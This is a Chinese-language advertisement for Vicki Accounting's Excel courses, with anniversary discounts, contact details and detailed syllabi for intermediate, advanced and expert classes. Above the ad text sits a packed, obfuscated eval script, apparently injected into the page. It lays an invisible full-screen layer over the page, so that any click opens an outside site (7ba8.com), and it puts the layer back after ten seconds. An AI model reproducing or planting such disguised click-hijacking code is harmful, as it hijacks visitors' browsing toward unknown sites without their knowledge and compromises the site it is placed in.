<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Vicki会计培训八周年校庆， Excel全系列课程限期特惠！
Vicki会计培训八周年校庆，感恩钜惠风暴呼啸而至 Excel中、高、精修课程全线特惠， 全明星师资阵容,四大名师轮番上阵，找工、升职、晋级、缺什么补什么，只有你想不到，没有我们做不到，机会就在眼前，请不要辜负了你的梦想!Excel表格由于同学们在踏进职场前接触不多、比较陌生，容易成为职业发展的瓶颈，在找工、升职、的竞争中失分较多，为弥补这方面的缺陷，提高大家的Excel的专业水平，同时也感谢大家的一路伴随和支持，即日起Excel全系列课程限期特惠
二人组团或二科同时报名享受50% 0ff 钜惠价
中级课程 原价$450 50% 0ff 钜惠价 $225高级课程 原价$550 50% 0ff 钜惠价 $275精修课程 原价$450 50% 0ff 钜惠价 $225
以上课程均赠270页教材一本，价值$30
睿智之选，加快你通往成功的脚步!联系我们咨询、报名: 0432208783 (02)80682467微博：Vicki_accounting微信：VickiAccounting悉尼校区： Level1, 806 George St, Sydney.墨尔本校区：609 / 365 Little Collins St，Melbourne.
欢迎浏览我们的网站: www.vickiaccounting.com.au****************************************************************************************************Excel中级班、高级班、精修班适合对象：Excel中级班：课程内容是为了满足职场对应聘者的Excel技能应达到intermediate level的要求所设置的。针对和适合想找初级会计工作（包括AP, AR, Payroll Officer和AccountsClerk这样职位的工作）的同学Excel高级班：课程内容是为了满足职场对应聘者的Excel技能应达到advanced level的要求所设置的。针对和适合想找中级会计职位（AssistantAccountant）的同学，可报读Excel中级和高级班，Excel精修班：课程内容是为了满足职场对应聘者的Excel技能应达到expert level的要求所设置的。针对和适合想找高级会计职位 （ManagementAccountant以及Financial Accountant）的同学，可报读Excel中级，高级和精修课程。
*****************************************************************************************************************
Excel中级班、高级班课程简介：在Accounting 相关工作中，Excel的运用真可谓是无处不见，Assistant Accountant，FinancialAccountant，Management Accountant，Businessanalyst ，甚至是finance manager或者是Financialcontroller每天的工作都会和Excel 息息相关。能否轻松快捷，游刃有余地出色完成accounting工作，其实很多时候就取决于你是否拥有出色的Excel技巧。根据我们多年在大公司的经验，能够掌握一手熟练Excel 技巧，并且能运用到实际工作中去的accountant往往在工作中都能表现得出类拔萃，更能得到经理的认可和赞扬；同事的尊重和羡慕。我们的Excel课程将分为Excel中级班、高级班、精修班三个不同Level的课程，分别针对于想找初级会计工作（包括AP, AR, Payroll Officer和AccountsClerk这样职位的工作），中级会计职位（Assistant Accountant） 和 高级会计职位 （Management Accountant以及Financial Accountant）的同学。我们从自己的工作中精选最实用和最重要的 Function和formula，在此过程中为大家深入讲解更多、更炫的例子。选取的spreadsheet都是老师们私人珍藏，在会计工作中真实发生的 ，每天运用的，以及改进的，我们想给大家演示大型公司复杂的spreadsheet是如何运用Excel来增强工作效率，比如Bankreconciliation, AP reconciliation, Commission calculation, General ledgerreconciliation, P&L analysis，fleet management, Car FBTcalculation, Forecasting budgeting spreadsheet, cashflow statement，Margin analysis spreadsheet，Income tax DTA，DTLspreadsheet，BAS、GST calculation spreadsheet等等更多的spreadsheet，让大家通过6节课的学习充分体验到Excel的超凡力量。并保证大家能以优异成绩通过中介和雇主的 Excel测试，在interview中showoff 更多更实用的example，更为重要的是让大家能够在以后的工作中尽情炫耀你的Excel技能，让你的雇主和同事对你刮目相看。
有着多年在Furtune500和ASX200公司工作的Vicki 将带领着有着超强工作能力和职业操守的行业精英团队为大家精心奉献这高强度的8节课的Excel 中级、高级和精修课程。目的是希望我们这些在Accounting领域身经百战的老师把他们多年来积累的经验和精华全部传授给我们的学生。
值得一提的是我们 的Excel课程与computer课程不同之处在于我们的Excel课程是与会计实际工作有机的结合在一起，使大家把所学到的Excel技巧能在会计工作中得到充分运用，让Excel的强大功能在会计工作中发挥到极致。
Excel中级班课程所含函数和功能如下：
Play with yourspreadsheets like play with your SmartphoneControl yourworkbook by your Keyboard and you Mouse in a professional wayOrganize MultipleSpreadsheets just as your money in your wallet and make them work for youReview, change andworkout the results between multiple spreadsheets in a quick wayFormula control - withdomino effect
Adjust your formulas with
-Special Auto fills
-Absolute & Relative Reference ControlUnderstand Smart TagsSpeed up your Auto Fills and create acustom fill seriesFormula Auto fills on large sheet withmultiple References ControlAre you ready forcompany meeting and presentation?
Make your Excel Spreadsheet ready before Meeting? Professional Report Formats in a Presentable way? Tables, Automatic Formatting? Manage multiple conditional formats using the rules manager? Bring data alive with Color Bars, Color Scales and Special iconCharting - where you kick off yourBusiness Analysist career? Fast Chart Making (Column, Line & PieCharts Etc.)? Change chart layout and add on custom textreference? Format chart Elements & Change SourceData? Chart manipulations for different purposesLarge,small? You controlFinancial ReportsPrinting Controls? Print margin setting, size scaling? Printing title duplication and customize page numbers? Dynamic header & footer set up? Page Breaks set up and configuration? Multiple Print area set upStep into your Excel command center
-using Quick Access ***? Add, remove Buttons on Quick Access ***? Audit your report, Excel talk data to you with voiceMultiple data ofmultiple states on multiple spreadsheets
Summarize them less than 1 minute? Data consolidating for single large sheet or multiple sheets? Summarizing Data Using 3-D ReferencesCompose your own formulasto get the work done, not fancy but most practical!? PMT,FV function Basics? PMT,PPMT,IPMT? IF functionKeep invalid data out ofmy spreadsheet and track up where are results come from
-Spreadsheet Auditing skills? Tracing Precedents/Tracing Dependents? The Watch Window? Data validation for number, text, list and data lengthPDF or text data cancopy into Excel and make analysis? Yes!? Reorganize your spreadsheet by Text to column? using special connection icon or formula to combine cellsBoss: you might thinkSort & Filter is a small piece of cake for you,
but how can we sort by color, special icon, by column or by custom list? Everuse advance filter before?
Mm…hehe? Sort & Filter your spreadsheet with multiple professional ways, catch thekey data your boss really wantEdit spreadsheet butwant to add note or explain historical event to them?? Comments, insert/Editing/Deleting/Show, hide comments, Printing CommentsMy spreadsheet is undermy control, no one can mass around without passwords? Protect your workbook when open/edit? Protect your sensitive page/sheet, structure or window? Protect your cells that contains most important formula with password
Excel高级班课程所含函数和功能如下：Become a table master -Reporting by Pivot table· Display the details of summarized Pivotable· Create a grouped pivot table· Use report fields to automatically created multiple pages· Control the layout of Pivot table· finish your monthly, Quarterly or yearly Reporting with Pivottable· dig up the critical information behind huge amount of data andmake your action plan· Multiple Pivot table reporting
Shining your boss' eyes, take yourformulas skills into advanced level· Using Nested IF for multiple output results, nestAND/OR/ISEEROR/ISBLANK/ISTEXT functions into your logical tests· Work out your results with Sumif/Countif and combine more otherfunctions into them· Master VLOOKUP/HLOOKUP/MATCH/INDEX to reconcile, match, combineand locate all data you want· Using Named range to make your formula composing never beeneasier
Organize your skill Tool box andready for Budgeting and Forecasting - What if analysis· Create different scenarios by scenario manager· Using single input Data Table and Two input Data table todisplay different circumstance· Make your financial goal achieve by "Goal Seek"· Using Solver to maximize your organization's Profit
Excel is not working alone, expertknows how to get connect with other applicationsHandle multiple Excel objects inWord, Create Linking and Get external data from Access, Web & Text
Be the CFO and lead your Team -Simultaneously working on spreadsheet with mutiple usersEmpower your team or your colleaguesto work on the same spreadsheet simultaneously with you by sharing yourdocument & set different passwords control at the same time
Lead your team by your Developerlevel skills
-Form controls
-Dash board making· Open Developer Tab and using form Controls buttons to simplifyyour complex excel spreadsheet for entry level user· Combine all your professional excel skills together in dashboard making
Automation your Excel Spreadsheet -MacrosUsing absolute & relativereference Macros to get complex work done in just a few seconds
Excel精修班课程简介：
在我们的 Excel 精修课程中，我们开发了2个不同的scenarios。第一个case的situation是作为 ASX listed company 的 Junior Business Analyst，some of your daily duties is to produce product sales reportfrom the SAP raw data and then perform all kinds of different analysis asrequested by senior manager.第二个case的situation是managing director from one of the largest global high endfashion company is looking for a new business analyst to join his highperforming team. You are now in the third round interview with him. He hasgiven you 5 tasks to test your Excel? skills in order to make sure you areabsolutely good at it.
课程中的这些知识和技能，都是大家以后升职、应聘大公司Assistant Accountant, Financial Accountant，Management Accountant或者Business Analyst时，一定会被要求和满足的criteria。 通过这2个case（2* 4 hours）的学习，能使大家熟悉大公司的会计操作流程中对Excel的运用，在以后的interview时能展现自己高超的Excel技能, 为自己的职场竞争力加分。我们将现在Job Market和大公司最炫最实用的excel function 比如 dashboard等结合起来，融入到我们的实战day to day work duties中，并让大家体验在big corporation中的manager对你的日常工作有哪些要求。一旦你掌握这些技能，那么今后面对大公司的应聘一定会更有底气和信心，职业“钱“景也会更广阔。 |
收藏
